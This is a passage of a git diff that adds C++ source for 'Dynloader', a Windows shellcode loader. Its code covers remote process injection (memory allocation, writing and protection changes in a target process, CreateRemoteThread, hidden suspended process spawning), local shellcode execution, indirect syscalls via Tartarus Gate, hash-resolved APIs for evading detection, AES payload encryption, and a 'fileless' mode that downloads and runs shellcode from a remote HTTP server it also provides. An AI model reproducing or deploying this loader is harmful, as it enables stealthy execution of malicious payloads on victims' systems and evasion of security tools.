╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ +)raw"; +} + +void PrintUsage() { + std::cout << + "Dynloader loader\n\n" + "LOCAL:\n" + " loader.exe [--verbose]\n" + " loader.exe --process [--verbose]\n" + " loader.exe --enc AES [--verbose]\n\n" + "FILELESS:\n" + " loader.exe --fileless --source [--verbose]\n" + " loader.exe --fileless --source --enc AES [--verbose]\n" + " loader.exe --fileless --source --process [--enc AES] [--verbose]\n\n" + "SERVER:\n" + " loader.exe --server [--port 8080] [--verbose] plain\n" + " loader.exe --server --enc AES [--port 8080] [--verbose]\n\n" + "REMOTE Usage:\n" + " Usage --process \n\n" + "DEBUGGING MODE:\n" + " Usage: --verbosE\n"; + "FUN Part:\n" + " Use --banner to see suprise\n" + " Usage - ./loader.exe --banner\n\n"; +} + +static bool IsFlag(const char* a) { + return a && a[0] == '-'; +} + +static bool IsModeFlag(const char* a) { + return a && ( + std::strcmp(a, "--fileless") == 0 || + std::strcmp(a, "--server") == 0 || + std::strcmp(a, "--enc") == 0 || + std::strcmp(a, "--selftest") == 0); +} + +Options Parse(int argc, char* argv[]) { + Options opt{}; + + if (argc < 2) { + opt.mode = Mode::Help; + return opt; + } + + for (int i = 1; i < argc; ++i) { + if (IsVerboseFlag(argv[i])) { + opt.verbose = true; + } + } + + if (std::strcmp(argv[1], "--selftest") == 0) { + opt.mode = Mode::Normal; + opt.inputPath = "__selftest__"; + return opt; + } + + if (std::strcmp(argv[1], "--banner") == 0){ + opt.mode = Mode::Banner; + return opt; + } + + if (std::strcmp(argv[1], "--server") == 0) { + opt.mode = Mode::Server; + // Server uses its own verbose channel (not loader syscall dumps). + if (opt.verbose) { + opt.server_verbose = true; + opt.verbose = false; + } + for (int i = 2; i < argc; ++i) { + if (IsVerboseFlag(argv[i])) { + opt.server_verbose = true; + opt.verbose = false; + continue; + } + if (std::strcmp(argv[i], "--port") == 0 && i + 1 < argc) { + opt.serverPort = static_cast(std::atoi(argv[++i])); + } else if (std::strcmp(argv[i], "--enc") == 0 && i + 2 < argc && + std::strcmp(argv[i + 1], "AES") == 0) { + opt.useAes = true; + i += 2; + if (i < argc && !IsFlag(argv[i])) { + opt.inputPath = argv[i]; + } + } else if (!IsFlag(argv[i])) { + opt.inputPath = argv[i]; + } + } + return opt; + } + + if (std::strcmp(argv[1], "--enc") == 0 && argc >= 4 && std::strcmp(argv[2], "AES") == 0) { + opt.mode = Mode::Encrypt; + opt.useAes = true; + opt.inputPath = argv[3]; + return opt; + } + + if (std::strcmp(argv[1], "--fileless") == 0) { + opt.mode = Mode::Fileless; + for (int i = 2; i < argc; ++i) { + if (IsVerboseFlag(argv[i])) { + + continue; + } + if (std::strcmp(argv[i], "--source") == 0 && i + 1 < argc) { + opt.sourceHost = argv[++i]; + } else if (std::strcmp(argv[i], "--enc") == 0 && i + 1 < argc && + std::strcmp(argv[i + 1], "AES") == 0) { + opt.useAes = true; + ++i; + } else if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) { + opt.processTarget = argv[++i]; + opt.remoteIngestion = true; + } + } + if (opt.sourceHost.empty()) { + opt.mode = Mode::Help; + } + return opt; + } + + // Scan any order: --process [--verbose] + std::string binPath; + for (int i = 1; i < argc; ++i) { + if (IsVerboseFlag(argv[i])) { + continue; + } + if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) { + opt.processTarget = argv[++i]; + opt.remoteIngestion = true; + continue; + } + if (!IsFlag(argv[i]) && !IsModeFlag(argv[i])) { + if (binPath.empty()) { + binPath = argv[i]; + } + } + } + + if (!binPath.empty()) { + opt.mode = Mode::Normal; + opt.inputPath = binPath; + return opt; + } + + if (!IsFlag(argv[1])) { + opt.mode = Mode::Normal; + opt.inputPath = argv[1]; + return opt; + } + + opt.mode = Mode::Help; + return opt; +} + +} // namespace Cli \ No newline at end of file diff --git a/loader/cli.hpp b/loader/cli.hpp new file mode 100644 index 0000000..d472697 --- /dev/null +++ b/loader/cli.hpp @@ -0,0 +1,36 @@ +#pragma once + +#include +#include +#include + +namespace Cli { + +enum class Mode { + Normal, + Encrypt, + Fileless, + Server, + Help, + Banner +}; + +struct Options { + Mode mode = Mode::Help; + std::string inputPath; + std::string sourceHost; + std::string processTarget; // --process name or PID (remote ingestion) + std::uint16_t sourcePort = 8080; /// kept default post as 8080 + bool useAes = false; + std::uint16_t serverPort = 8080; + bool verbose = false; // loader channel (--verbose on load/fileless/enc) + bool remoteIngestion = false; + bool server_verbose = false; // server channel (--server ... --verbose) +}; + +bool IsVerboseFlag(const char* arg); +Options Parse(int argc, char* argv[]); +void PrintUsage(); +void PrintBanner(); + +} // namespace Cli \ No newline at end of file diff --git a/loader/ingestion.cpp b/loader/ingestion.cpp new file mode 100644 index 0000000..7c705e7 --- /dev/null +++ b/loader/ingestion.cpp @@ -0,0 +1,480 @@ +#include "ingestion.hpp" +#include "../lib/memory/section_map.hpp" +#include "../lib/common/nt_types.hpp" +#include "../lib/common/log.hpp" +#include "../lib/common/hashes.hpp" +#include "../lib/resolve/api_resolver.hpp" + +#include +#include +#include +#include + +namespace Ingestion { + +namespace { + +constexpr ULONG kInjectAccess = + PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ; + +std::string NormalizeName(std::string name) { + for (auto& c : name) { + if (c >= 'A' && c <= 'Z') { + c = static_cast(c + 32); + } + } + if (name.size() < 4 || name.substr(name.size() - 4) != ".exe") { + name += ".exe"; + } + return name; +} + +bool BasenameMatches(const char* imagePath, const std::string& wantNorm) { + if (!imagePath) { + return false; + } + const char* base = std::strrchr(imagePath, '\\'); + base = base ? base + 1 : imagePath; + + char lower[MAX_PATH] = {}; + strncpy_s(lower, base, _TRUNCATE); + CharLowerA(lower); + + std::string noExt = wantNorm; + if (noExt.size() > 4 && noExt.substr(noExt.size() - 4) == ".exe") { + noExt = noExt.substr(0, noExt.size() - 4); + } + + if (std::strcmp(lower, wantNorm.c_str()) == 0) { + return true; + } + char lowerNoExt[MAX_PATH] = {}; + strncpy_s(lowerNoExt, lower, _TRUNCATE); + size_t len = strlen(lowerNoExt); + if (len > 4 && std::strcmp(lowerNoExt + len - 4, ".exe") == 0) { + lowerNoExt[len - 4] = '\0'; + } + return std::strcmp(lowerNoExt, noExt.c_str()) == 0; +} + +bool IsNumericPid(const std::string& target, DWORD& pid) { + if (target.empty()) { + return false; + } + for (char c : target) { + if (c < '0' || c > '9') { + return false; + } + } + pid = static_cast(std::strtoul(target.c_str(), nullptr, 10)); + return pid != 0; +} + +bool FindPidByName(TartarusGate::SyscallTable& sc, const std::string& wantNorm, DWORD& outPid) { + Log::Banner("Process Enum (NtQuerySystemInformation)"); + Log::Sys("SystemProcessInformation look for image=%s", wantNorm.c_str()); + + ULONG bufSize = 1 << 20; + std::vector buffer(bufSize); + ULONG retLen = 0; + + NTSTATUS st = sc.NtQuerySystemInformation( + SystemProcessInformation, buffer.data(), + static_cast(buffer.size()), &retLen); + Log::NtStatus("NtQuerySystemInformation (pass1)", st); + Log::Dbg("buffer=%lu retLen=%lu", bufSize, retLen); + + if (st == static_cast(0xC0000004)) { + Log::Dbg("STATUS_INFO_LENGTH_MISMATCH — resize + retry"); + buffer.resize(retLen + 0x4000); + st = sc.NtQuerySystemInformation( + SystemProcessInformation, buffer.data(), + static_cast(buffer.size()), &retLen); + Log::NtStatus("NtQuerySystemInformation (pass2)", st); + } + + if (!NT_SUCCESS(st)) { + Log::NtStatus("NtQuerySystemInformation", st); + return false; + } + + size_t scanned = 0; + auto* entry = reinterpret_cast(buffer.data()); + for (;;) { + ++scanned; + if (entry->ImageName.Buffer && entry->ImageName.Length > 0) { + char name[MAX_PATH] = {}; + WideCharToMultiByte(CP_ACP, 0, entry->ImageName.Buffer, + entry->ImageName.Length / static_cast(sizeof(WCHAR)), + name, MAX_PATH - 1, nullptr, nullptr); + + if (BasenameMatches(name, wantNorm)) { + outPid = static_cast(reinterpret_cast(entry->UniqueProcessId)); + Log::Sys("Found PID %lu for %s (image=%s) after scanning %zu entries", + outPid, wantNorm.c_str(), name, scanned); + return outPid != 0; + } + } + if (entry->NextEntryOffset == 0) { + break; + } + entry = reinterpret_cast( + reinterpret_cast(entry) + entry->NextEntryOffset); + } + Log::Dbg("no match for %s (scanned %zu processes)", wantNorm.c_str(), scanned); + return false; +} + +HANDLE OpenProcessSyscall(TartarusGate::SyscallTable& sc, DWORD pid) { + Log::Sys("NtOpenProcess PID=%lu DesiredAccess=0x%08lX " + "(CREATE_THREAD|QUERY|VM_OP|VM_WRITE|VM_READ)", + pid, static_cast(kInjectAccess)); + + OBJECT_ATTRIBUTES_NT oa{}; + InitObjectAttributes(&oa, nullptr, 0, nullptr, nullptr); + + CLIENT_ID_NT cid{}; + cid.UniqueProcess = reinterpret_cast(static_cast(pid)); + cid.UniqueThread = nullptr; + + HANDLE h = nullptr; + NTSTATUS st = sc.NtOpenProcess(&h, kInjectAccess, &oa, &cid); + Log::NtStatus("NtOpenProcess", st); + if (!NT_SUCCESS(st)) { + return nullptr; + } + Log::Sys("NtOpenProcess OK handle=%p", h); + return h; +} + +HANDLE OpenProcessWin32(DWORD pid) { + Log::Dbg("fallback OpenProcess (Win32 hash-resolved) PID=%lu", pid); + auto* k32 = ApiResolver::GetKernel32(); + if (!k32) { + Log::Dbg("kernel32 base null"); + return nullptr; + } + using OpenProcess_t = HANDLE(WINAPI*)(DWORD, BOOL, DWORD); + auto* pOpen = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_OpenProcess)); + if (!pOpen) { + Log::Dbg("OpenProcess export resolve failed"); + return nullptr; + } + HANDLE h = pOpen(kInjectAccess, FALSE, pid); + if (!h) { + Log::Dbg("OpenProcess failed GetLastError=%lu", GetLastError()); + } else { + Log::Sys("OpenProcess OK handle=%p", h); + } + return h; +} + +bool SpawnHeadless(const std::wstring& exeName, RemoteTarget& out) { + auto* k32 = ApiResolver::GetKernel32(); + if (!k32) { + return false; + } + + using SearchPathW_t = DWORD(WINAPI*)(LPCWSTR, LPCWSTR, LPCWSTR, DWORD, LPWSTR, LPWSTR*); + using CreateProcessW_t = BOOL(WINAPI*)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, + LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); + using CloseHandle_t = BOOL(WINAPI*)(HANDLE); + + auto* pSearch = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_SearchPathW)); + auto* pCreate = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CreateProcessW)); + auto* pClose = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle)); + + if (!pSearch || !pCreate || !pClose) { + Log::Warn("Spawn: SearchPathW/CreateProcessW hash resolve failed"); + return false; + } + + wchar_t pathBuf[MAX_PATH] = {}; + wchar_t* filePart = nullptr; + if (!pSearch(nullptr, exeName.c_str(), nullptr, MAX_PATH, pathBuf, &filePart)) { + Log::Warn("Spawn: executable not found on PATH: %ls", exeName.c_str()); + return false; + } + + Log::Sys("Spawn: resolved %ls", pathBuf); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + + PROCESS_INFORMATION pi{}; + const DWORD flags = CREATE_SUSPENDED | CREATE_NO_WINDOW; + + if (!pCreate(pathBuf, nullptr, nullptr, nullptr, FALSE, flags, nullptr, nullptr, &si, &pi)) { + Log::Warn("Spawn: CreateProcessW failed (%lu)", GetLastError()); + return false; + } + + out.hProcess = pi.hProcess; + out.hThread = pi.hThread; + out.pid = pi.dwProcessId; + out.spawned = true; + + Log::Ok("Spawned headless PID %lu (%ls)", out.pid, exeName.c_str()); + return true; +} + +bool StageRemote( + TartarusGate::SyscallTable& sc, + HANDLE hProcess, + const std::vector& shellcode, + PVOID& remoteBase) +{ + Log::Banner("Remote Stage (alloc + write + protect)"); + PVOID base = nullptr; + SIZE_T region = SectionMap::PageAlign(shellcode.size()); + Log::Sys("NtAllocateVirtualMemory: Process=%p Size=%zu (page-aligned) Type=COMMIT|RESERVE Prot=PAGE_READWRITE", + hProcess, static_cast(region)); + + NTSTATUS st = sc.NtAllocateVirtualMemory( + hProcess, &base, 0, ®ion, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + Log::NtStatus("remote NtAllocateVirtualMemory", st); + + if (!NT_SUCCESS(st) || !base) { + return false; + } + Log::Sys("remote RW region base=%p size=%zu", base, static_cast(region)); + + SIZE_T written = 0; + Log::Sys("NtWriteVirtualMemory: dest=%p len=%zu", base, shellcode.size()); + st = sc.NtWriteVirtualMemory( + hProcess, base, + const_cast(static_cast(shellcode.data())), + shellcode.size(), &written); + Log::NtStatus("remote NtWriteVirtualMemory", st); + Log::Dbg("bytes written=%zu expected=%zu", static_cast(written), shellcode.size()); + + if (!NT_SUCCESS(st) || written != shellcode.size()) { + return false; + } + + ULONG old = 0; + PVOID prot = base; + SIZE_T protSize = region; + Log::Sys("NtProtectVirtualMemory: base=%p size=%zu NewProt=PAGE_EXECUTE_READ (W^X)", + base, static_cast(protSize)); + st = sc.NtProtectVirtualMemory(hProcess, &prot, &protSize, PAGE_EXECUTE_READ, &old); + Log::NtStatus("remote NtProtectVirtualMemory", st); + if (!NT_SUCCESS(st)) { + return false; + } + Log::Dbg("old protection=0x%08lX", static_cast(old)); + + remoteBase = base; + Log::Sys("Remote RX at %p (%zu bytes written)", base, static_cast(written)); + return true; +} + +bool ExecuteRemoteThread(HANDLE hProcess, PVOID entry) { + Log::Banner("Remote Execute (CreateRemoteThread)"); + auto* k32 = ApiResolver::GetKernel32(); + if (!k32) { + Log::Dbg("kernel32 base null"); + return false; + } + + using CreateRemoteThread_t = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, + LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); + using CloseHandle_t = BOOL(WINAPI*)(HANDLE); + + auto* pCRT = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CreateRemoteThread)); + auto* pClose = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle)); + + if (!pCRT || !pClose) { + Log::Warn("CreateRemoteThread hash resolve failed"); + return false; + } + Log::Sys("CreateRemoteThread resolved pCRT=%p process=%p start=%p", pCRT, hProcess, entry); + + DWORD tid = 0; + HANDLE hThread = pCRT(hProcess, nullptr, 0, + reinterpret_cast(entry), nullptr, 0, &tid); + + if (!hThread) { + Log::Warn("CreateRemoteThread failed (%lu)", GetLastError()); + return false; + } + + Log::Ok("Remote thread TID %lu at entry %p", tid, entry); + Log::Dbg("closing remote thread handle %p (thread continues)", hThread); + pClose(hThread); + return true; +} + +bool ResumePrimary(RemoteTarget& target) { + if (!target.spawned || !target.hThread) { + return true; + } + + auto* k32 = ApiResolver::GetKernel32(); + auto* pResume = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_ResumeThread)); + if (!pResume) { + return false; + } + + const DWORD rc = pResume(target.hThread); + Log::Sys("ResumeThread primary -> %lu", rc); + return rc != static_cast(-1); +} + +} // namespace + +bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out) { + Log::Banner("Acquire Target"); + Log::Info("raw target arg='%s'", target.c_str()); + out = {}; + + DWORD pid = 0; + if (IsNumericPid(target, pid)) { + Log::Info("Target parsed as numeric PID %lu", pid); + } else { + const std::string norm = NormalizeName(target); + Log::Dbg("normalized process name='%s'", norm.c_str()); + if (!FindPidByName(sc, norm, pid)) { + Log::Info("Process '%s' not running — spawning headless", norm.c_str()); + std::wstring wname(norm.begin(), norm.end()); + if (!SpawnHeadless(wname, out)) { + return false; + } + return true; + } + Log::Info("Target process '%s' -> PID %lu", norm.c_str(), pid); + } + + out.hProcess = OpenProcessSyscall(sc, pid); + if (!out.hProcess) { + Log::Dbg("syscall open failed — trying Win32 OpenProcess"); + out.hProcess = OpenProcessWin32(pid); + } + if (!out.hProcess) { + Log::Err("Cannot open PID %lu", pid); + return false; + } + + out.pid = pid; + out.spawned = false; + Log::Sys("AcquireTarget done: PID=%lu handle=%p", out.pid, out.hProcess); + return true; +} + +void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target) { + if (target.hThread) { + sc.NtClose(target.hThread); + target.hThread = nullptr; + } + if (target.hProcess) { + sc.NtClose(target.hProcess); + target.hProcess = nullptr; + } +} + +bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector& shellcode) { + if (!sc.initialized || !target.hProcess || shellcode.empty()) { + return false; + } + + PVOID remoteBase = nullptr; + if (!StageRemote(sc, target.hProcess, shellcode, remoteBase)) { + return false; + } + + Log::Sys("remote RX=%p PID=%lu technique=alloc+write+protect", remoteBase, target.pid); + + if (!ExecuteRemoteThread(target.hProcess, remoteBase)) { + return false; + } + + if (!ResumePrimary(target)) { + Log::Warn("ResumeThread failed (injection may still run)"); + } + + return true; +} + +static bool StageViaVirtualAlloc( + TartarusGate::SyscallTable& sc, + const std::vector& shellcode, + PVOID& outExec) +{ + Log::Banner("Local Stage (NtAllocateVirtualMemory W^X)"); + PVOID base = nullptr; + SIZE_T size = shellcode.size(); + Log::Sys("NtAllocateVirtualMemory: self Process size=%zu Prot=PAGE_READWRITE", + static_cast(size)); + NTSTATUS st = sc.NtAllocateVirtualMemory( + GetCurrentProcess(), &base, 0, &size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + Log::NtStatus("NtAllocateVirtualMemory", st); + if (!NT_SUCCESS(st) || !base) { + return false; + } + Log::Sys("local RW base=%p allocated=%zu", base, static_cast(size)); + + std::memcpy(base, shellcode.data(), shellcode.size()); + Log::Dbg("memcpy shellcode %zu bytes -> %p", shellcode.size(), base); + + ULONG old = 0; + PVOID prot = base; + SIZE_T protSize = size; + Log::Sys("NtProtectVirtualMemory: NewProt=PAGE_EXECUTE_READ (W^X)"); + st = sc.NtProtectVirtualMemory( + GetCurrentProcess(), &prot, &protSize, PAGE_EXECUTE_READ, &old); + Log::NtStatus("NtProtectVirtualMemory", st); + if (!NT_SUCCESS(st)) { + PVOID freeBase = base; + sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &size, MEM_RELEASE); + Log::Dbg("freed failed region"); + return false; + } + Log::Dbg("old protection=0x%08lX", static_cast(old)); + + outExec = base; + return true; +} + +bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector& shellcode) { + Log::Banner("RunLocal"); + Log::Info("shellcode=%zu bytes", shellcode.size()); + PVOID execMem = nullptr; + + if (StageViaVirtualAlloc(sc, shellcode, execMem)) { + Log::Sys("local RX=%p technique=NtAllocateVirtualMemory W^X", execMem); + const bool ok = SectionMap::ExecuteLocal(sc, execMem); + Log::Dbg("ExecuteLocal returned %s — freeing region", ok ? "OK" : "FAIL"); + SIZE_T freeSize = shellcode.size(); + PVOID freeBase = execMem; + NTSTATUS st = sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &freeSize, MEM_RELEASE); + Log::NtStatus("NtFreeVirtualMemory", st); + return ok; + } + + Log::Dbg("VirtualAlloc path failed — fallback NtCreateSection/MapView"); + SectionMap::MappedRegion region{}; + if (!SectionMap::StageLocal(sc, shellcode, region)) { + return false; + } + + Log::Sys("local RX=%p technique=NtMapViewOfSection W^X size=%zu", + region.localView, static_cast(region.viewSize)); + const bool ok = SectionMap::ExecuteLocal(sc, region.localView); + Log::Dbg("cleanup section map (ok=%d)", ok ? 1 : 0); + SectionMap::Cleanup(sc, region, nullptr); + return ok; +} + +} // namespace Ingestion \ No newline at end of file diff --git a/loader/ingestion.hpp b/loader/ingestion.hpp new file mode 100644 index 0000000..87e1f72 --- /dev/null +++ b/loader/ingestion.hpp @@ -0,0 +1,30 @@ +#pragma once + +#include +#include +#include + +#include "../lib/syscall/tartarus_gate.hpp" + +namespace Ingestion { + +struct RemoteTarget { + HANDLE hProcess = nullptr; + HANDLE hThread = nullptr; + DWORD pid = 0; + bool spawned = false; +}; + +// Local: indirect syscall alloc RW->RX + hash-resolved CreateThread. +bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector& shellcode); + +// Resolve PID by name (basename match) or numeric PID. Spawn headless if name missing. +bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out); + +void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target); + +// Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + NtProtectVirtualMemory +// in target via Tartarus Gate + CreateRemoteThread (API hash). +bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector& shellcode); + +} // namespace Ingestion \ No newline at end of file diff --git a/loader/loader_core.cpp b/loader/loader_core.cpp new file mode 100644 index 0000000..3c9dd4a --- /dev/null +++ b/loader/loader_core.cpp @@ -0,0 +1,269 @@ +#include "loader_core.hpp" +#include "ingestion.hpp" + +#include "../lib/crypto/aes_crypto.hpp" +#include "../lib/net/http_transport.hpp" +#include "../lib/resolve/api_resolver.hpp" +#include "../lib/common/log.hpp" + +#include +#include +#include +#include + +namespace LoaderCore { + +namespace { + TartarusGate::SyscallTable g_sc; +} + +TartarusGate::SyscallTable& GetSyscalls() { + return g_sc; +} + +bool Initialize() { + Log::Banner("Loader Init"); + Log::Info("mode=loader — Tartarus Gate + PEB module resolve"); + if (!TartarusGate::Initialize(g_sc)) { + Log::Err("Syscall init failed"); + return false; + } + Log::Sys("PEB modules: ntdll=%p kernel32=%p bcrypt=%p ws2=%p", + ApiResolver::GetNtdll(), ApiResolver::GetKernel32(), + ApiResolver::GetBcrypt(), ApiResolver::GetWs2_32()); + Log::Dbg("syscall table ready (initialized=%d)", g_sc.initialized ? 1 : 0); + return true; +} + +void Shutdown() { + Log::Dbg("Shutdown: cleaning Tartarus stubs"); + TartarusGate::CleanupStubs(); + g_sc = {}; +} + +static bool ReadFileToBuffer(const std::string& path, std::vector& out) { + Log::Dbg("ReadFile: path=%s", path.c_str()); + std::ifstream f(path, std::ios::binary | std::ios::ate); + if (!f.is_open()) { + Log::Dbg("ReadFile: open failed"); + return false; + } + out.resize(static_cast(f.tellg())); + f.seekg(0); + f.read(reinterpret_cast(out.data()), out.size()); + Log::Info("ReadFile: %zu bytes from %s", out.size(), path.c_str()); + return true; +} + +static int DispatchShellcode(const Cli::Options& opt, std::vector& shellcode) { + Log::Banner("Dispatch Shellcode"); + Log::Info("payload size=%zu remote=%s target=%s", + shellcode.size(), + opt.remoteIngestion ? "yes" : "no", + opt.processTarget.empty() ? "(local)" : opt.processTarget.c_str()); + Log::HexPreview("payload", shellcode.data(), shellcode.size()); + + if (opt.remoteIngestion) { + Log::Banner("Remote Ingestion"); + Log::Info("target=%s bytes=%zu", opt.processTarget.c_str(), shellcode.size()); + + Ingestion::RemoteTarget target{}; + if (!Ingestion::AcquireTarget(g_sc, opt.processTarget, target)) { + Log::Err("Target acquire failed: %s", opt.processTarget.c_str()); + return 7; + } + Log::Sys("target acquired: PID=%lu hProcess=%p hThread=%p spawned=%d", + target.pid, target.hProcess, target.hThread, target.spawned ? 1 : 0); + + if (!Ingestion::RunRemote(g_sc, target, shellcode)) { + Ingestion::ReleaseTarget(g_sc, target); + Log::Err("Remote injection failed (PID %lu)", target.pid); + return 9; + } + + Ingestion::ReleaseTarget(g_sc, target); + Log::Dbg("target handles closed"); + Log::Ok("Remote done — PID %lu (%zu bytes)", target.pid, shellcode.size()); + return 0; + } + + Log::Banner("Local Ingestion"); + if (!Ingestion::RunLocal(g_sc, shellcode)) { + Log::Err("Local execution failed"); + return 3; + } + + Log::Ok("Local done — %zu bytes", shellcode.size()); + return 0; +} + +int RunNormal(const Cli::Options& opt) { + if (opt.inputPath == "__selftest__") { + Log::Banner("Self-Test"); + Log::Info("checking PEB modules + AES roundtrip"); + if (!ApiResolver::GetNtdll() || !ApiResolver::GetBcrypt()) { + Log::Err("PEB module resolve failed"); + return 1; + } + Log::Sys("ntdll=%p bcrypt=%p", ApiResolver::GetNtdll(), ApiResolver::GetBcrypt()); + std::vector sample = { 0x90, 0x90, 0xC3 }; + AesCrypto::KeyMaterial km{}; + std::vector enc, dec; + if (!AesCrypto::GenerateKeyMaterial(km) || !AesCrypto::Encrypt(sample, km, enc) || + !AesCrypto::Decrypt(enc, km, dec)) { + Log::Err("AES roundtrip failed"); + return 2; + } + Log::Dbg("AES roundtrip ok: plain=%zu enc=%zu dec=%zu", sample.size(), enc.size(), dec.size()); + Log::Ok("Self-test Just for Fun :) (PEB + Tartarus + AES) -> Checks PEB walk -> Dynamic Resolution -> Retrive SSH -> Create STUB , Get Gadget"); + return 0; + } + + Log::Banner("RunNormal"); + Log::Info("input=%s remote=%s", opt.inputPath.c_str(), + opt.remoteIngestion ? opt.processTarget.c_str() : "no"); + + std::vector shellcode; + if (!ReadFileToBuffer(opt.inputPath, shellcode)) { + Log::Err("Cannot read file"); + return 2; + } + + return DispatchShellcode(opt, shellcode); +} + +int RunEncrypt(const Cli::Options& opt) { + Log::Banner("RunEncrypt"); + Log::Info("AES encrypt file=%s", opt.inputPath.c_str()); + std::wstring wpath(opt.inputPath.begin(), opt.inputPath.end()); + std::wstring encPath, keyPath; + + if (!AesCrypto::EncryptFileToDisk(wpath, encPath, keyPath)) { + Log::Err("AES encrypt failed"); + return 2; + } + + Log::Ok("Encrypted — use .enc + .key or --server --enc AES"); + Log::Info("output: .enc + .key written"); + return 0; +} + +int RunFileless(const Cli::Options& opt) { + HttpTransport::Endpoint ep{}; + if (!HttpTransport::ParseSource(opt.sourceHost, ep)) { + Log::Err("Bad --source"); + return 2; + } + + Log::Banner("Fileless Client"); + Log::Info("source host=%s port=%u aes=%s remote=%s", + ep.host.c_str(), ep.port, + opt.useAes ? "yes" : "no", + opt.remoteIngestion ? opt.processTarget.c_str() : "no"); + Log::Info("GET http://%s:%u/api/v1/payload%s", ep.host.c_str(), ep.port, + opt.useAes ? " + /api/v1/key" : ""); + + std::vector payload; + if (!HttpTransport::FetchPayload(ep, payload) || payload.empty()) { + Log::Err("Payload fetch failed"); + return 3; + } + Log::Info("payload fetched: %zu bytes", payload.size()); + Log::HexPreview("http payload", payload.data(), payload.size()); + + std::vector shellcode; + + if (opt.useAes) { + Log::Banner("Fileless AES Decrypt"); + std::vector keyBlob; + if (!HttpTransport::FetchKey(ep, keyBlob) || keyBlob.empty()) { + Log::Err("Key fetch failed"); + return 4; + } + Log::Info("key blob fetched: %zu bytes", keyBlob.size()); + + AesCrypto::KeyMaterial km{}; + if (!AesCrypto::UnpackKeyMaterial(keyBlob, km)) { + Log::Err("Key unpack failed"); + return 5; + } + Log::Dbg("key material: key=%zu iv=%zu", km.key.size(), km.iv.size()); + + if (!AesCrypto::Decrypt(payload, km, shellcode)) { + Log::Err("Decrypt failed"); + return 6; + } + + Log::Info("AES decrypt OK: cipher=%zu plain=%zu", payload.size(), shellcode.size()); + } else { + shellcode.assign(payload.begin(), payload.end()); + Log::Dbg("plain payload -> shellcode (%zu bytes)", shellcode.size()); + } + + return DispatchShellcode(opt, shellcode); +} + +int RunServer(const Cli::Options& opt) { + std::vector payload; + std::vector keyBlob; + + Log::SrvBanner("Server Prep"); + Log::Srv("input=%s aes=%s port=%u", + opt.inputPath.empty() ? "(payload.enc fallback)" : opt.inputPath.c_str(), + opt.useAes ? "yes" : "no", + opt.serverPort); + + if (!opt.inputPath.empty()) { + std::vector plain; + if (!ReadFileToBuffer(opt.inputPath, plain)) { + // ReadFile uses loader channel; mirror for server verbose + Log::Srv("failed to read server file: %s", opt.inputPath.c_str()); + Log::Err("Cannot read server file -> Check file location ;( )"); + return 2; + } + Log::Srv("loaded file: %zu bytes from %s", plain.size(), opt.inputPath.c_str()); + + if (opt.useAes) { + AesCrypto::KeyMaterial km{}; + if (!AesCrypto::GenerateKeyMaterial(km) || + !AesCrypto::Encrypt(plain, km, payload)) { + Log::Err("Server AES prep failed"); + return 4; + } + keyBlob = AesCrypto::PackKeyMaterial(km); + Log::Srv("AES prep: plain=%zu cipher=%zu keyBlob=%zu", + plain.size(), payload.size(), keyBlob.size()); + Log::Ok("Server AES mode — port %u", opt.serverPort); + } else { + payload.assign(plain.begin(), plain.end()); + Log::Srv("plain mode: serving %zu bytes", payload.size()); + Log::Ok("Server plain mode — port %u", opt.serverPort); + } + } else { + std::ifstream encFile(L"payload.enc", std::ios::binary | std::ios::ate); + if (!encFile.is_open()) { + Log::Err("No file — use: loader.exe --server "); + return 2; + } + payload.resize(static_cast(encFile.tellg())); + encFile.seekg(0); + encFile.read(reinterpret_cast(payload.data()), payload.size()); + std::ifstream keyFile(L"payload.key", std::ios::binary | std::ios::ate); + if (keyFile.is_open()) { + keyBlob.resize(static_cast(keyFile.tellg())); + keyFile.seekg(0); + keyFile.read(reinterpret_cast(keyBlob.data()), keyBlob.size()); + } + Log::Srv("fallback files: payload.enc=%zu payload.key=%zu", + payload.size(), keyBlob.size()); + } + + Log::SrvBanner("Fileless Server"); + if (!HttpTransport::RunServerMemory(opt.serverPort, payload, keyBlob, opt.server_verbose)) { + Log::Err("Server bind failed"); + return 5; + } + return 0; +} + +} // namespace LoaderCore diff --git a/loader/loader_core.hpp b/loader/loader_core.hpp new file mode 100644 index 0000000..c6813ee --- /dev/null +++ b/loader/loader_core.hpp @@ -0,0 +1,20 @@ +#pragma once + +#include "cli.hpp" +#include "../lib/syscall/tartarus_gate.hpp" + +namespace LoaderCore { + +// Global syscall table — initialized once per process. +TartarusGate::SyscallTable& GetSyscalls(); + +bool Initialize(); +void Shutdown(); + +// Mode handlers +int 